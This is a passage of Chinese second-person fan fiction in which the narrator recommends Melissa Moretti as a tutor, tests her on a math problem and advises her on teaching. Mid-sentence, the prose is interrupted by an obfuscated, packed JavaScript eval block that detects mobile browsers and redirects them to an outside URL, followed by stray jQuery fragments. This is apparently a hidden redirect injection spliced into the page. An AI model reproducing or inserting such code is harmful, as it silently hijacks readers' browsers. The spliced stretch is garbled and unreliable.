你点点头，展现出你性格里的条理性，开始清晰说明：


    “学生是个11岁的女孩，叫莉娅，住在豪尔斯街区，父亲是银行经理。她目前需要补习的主要是基础数□□算、应用题理解，以及鲁恩语语法和基础写作。数学大概相当于公立学校五年级的进度，但有些概念需要巩固，文法方面主要是句子结构和常用词汇的准确使用。”


    “每次课程一般是周日下午两点半到五点，两个半小时，算两个课时，中间让孩子休息半小时。薪酬是每次5苏勒，如果效果得到家长认可，可能会小幅上调。交通需要你自己解决，不过从铁十字街到豪尔斯街区有公共马车直达。”


    说完这些基本信息，你看向梅丽莎，认真地问：“梅丽莎，你目前自己的课程安排如何？周日下午这个时间方便吗？还有，你对教授这些内容有信心吗？比如，分数运算、简单几何面积计算，还有基础的从句结构分析？”


    梅丽莎听得很专注，手指无意识地捏着书页边缘，但眼神很亮：“周日下午我没有课。数学和文法……我应该可以。我在学校的数学成绩还不错，文法也跟得上。” 她看了一眼克莱恩和班森，似乎在寻求一点鼓励，然后转向你，声音不大但清晰：“佩洛蒙西娅小姐，我……我对这份工作很感兴趣，我家里，我也需要这份工作！”


    班森没说话，但你猜他已经在一旁心算起来，毕竟他看起来有些眼睛发亮。


    这可是5苏勒！为这个工作眼睛发亮是很正常的！


    你在心里也算起来，爸爸在码头做工，即使不用做一休一，周薪也才10苏勒！码头工人没活的时候做一天休一天，一周周薪就是5苏勒7便士，而你推荐的工作，一天两小时可以赚到码头工人一周的钱！


    “那好，” 你看向克莱恩，拜托他拿纸笔过来，“我们简单过一下。假设你是老师，需要给学生讲解这道题。” 你接过克莱恩递过来的草稿纸，在纸上写下一道适合五年级学生、但需要一些思路的数学应用题：“一个花园长12米，宽是长的三分之二，如果每平方米需要播种0.15千克花种，总共需要多少花种？”


    梅丽莎接过纸笔，微微吸了口气，开始边写边低声讲解：“首先，宽是长的三分之二，所以宽等于12乘以三分之二，等于8米……然后面积是长乘以宽，12乘以8等于96平方米……每平方米需要0.15千克，所以总重量是96乘以0.15……” 她计算得很仔细，偶尔停顿思考，但步骤清晰，最后得出答案：“14.4千克。”


    她的思路完全正确，计算准确，虽然讲解时有些生涩紧张，但足够清晰。


    “很好，步骤和答案都对。” 你给予肯定，然后补充道，“在实际教学生时，可以更慢一点，尤其是解释三分之二这个概念时，可以用画图来帮助理解。另外，最后可以提醒学生检查单位，千克。”


    你收起纸，又分享了一些经验：“莉娅的父母比较看重老师的条理性、耐心和守时。试课的时候，你可以提前一点到，穿着整洁。讲课前可以先花几分钟了解学生上次课的内容和薄弱点，结束时简单总结一下今天学了什么，并布置一点点非常简单的练习。他们喜欢看到明确的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193678|197109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进度和反馈。如果你表现得很认真、有条理，成功的可能性就很大。”


    梅丽莎听得很认真，连连点头，把要点记在心里。


    班森见状，开口道：“佩洛蒙西娅小姐，感谢你给梅丽莎这个机会，还这么细致地指导。真是太感谢你了，有这么好的机会还想着我们梅丽莎。”


    一直沉默的克莱恩也开口道：“谢谢你，佩洛蒙西娅小姐。这对梅丽莎会是很好的锻炼。” 他看着你，褐色的眼睛里神色温和。


    “别客气，莫雷蒂先生。那这样，我回头就跟莉娅家联系，安排试课时间。确定后我再来告诉你们。” 你站起身，事情顺利办完，心情也不错。


    你觉得梅丽莎的基础和态度都足够认真，可以推荐。于是你与莫雷蒂一家商定了接下来的步骤：由你写一封简单的推荐信，说明交接原因并肯定梅丽莎的资质，然后约定一个双方都方便的时间，比如下周日，由你陪同梅丽莎前去试课，作为过渡。


    事情谈妥，气氛轻松不少。班森热情地要给你倒茶，你婉拒了，表示等会自己还有一些事情要处理。


    离开莫雷蒂家时，克莱恩送你到门口。


    “再次感谢，佩洛蒙西娅小姐，这对梅丽莎，对我们家来说，都是一个很好的工作。”


    你摇摇头，真诚地说：“是梅丽莎自己有能力。我也只是牵个线，希望她能顺利。这家人很慷慨，与之对应的，对孩子的学习很看重，而且有较高的要求，如果梅丽莎试课成功，那说明她的能力足够让莉娅的父母刮目相看。”


    他点了点头，没再多说。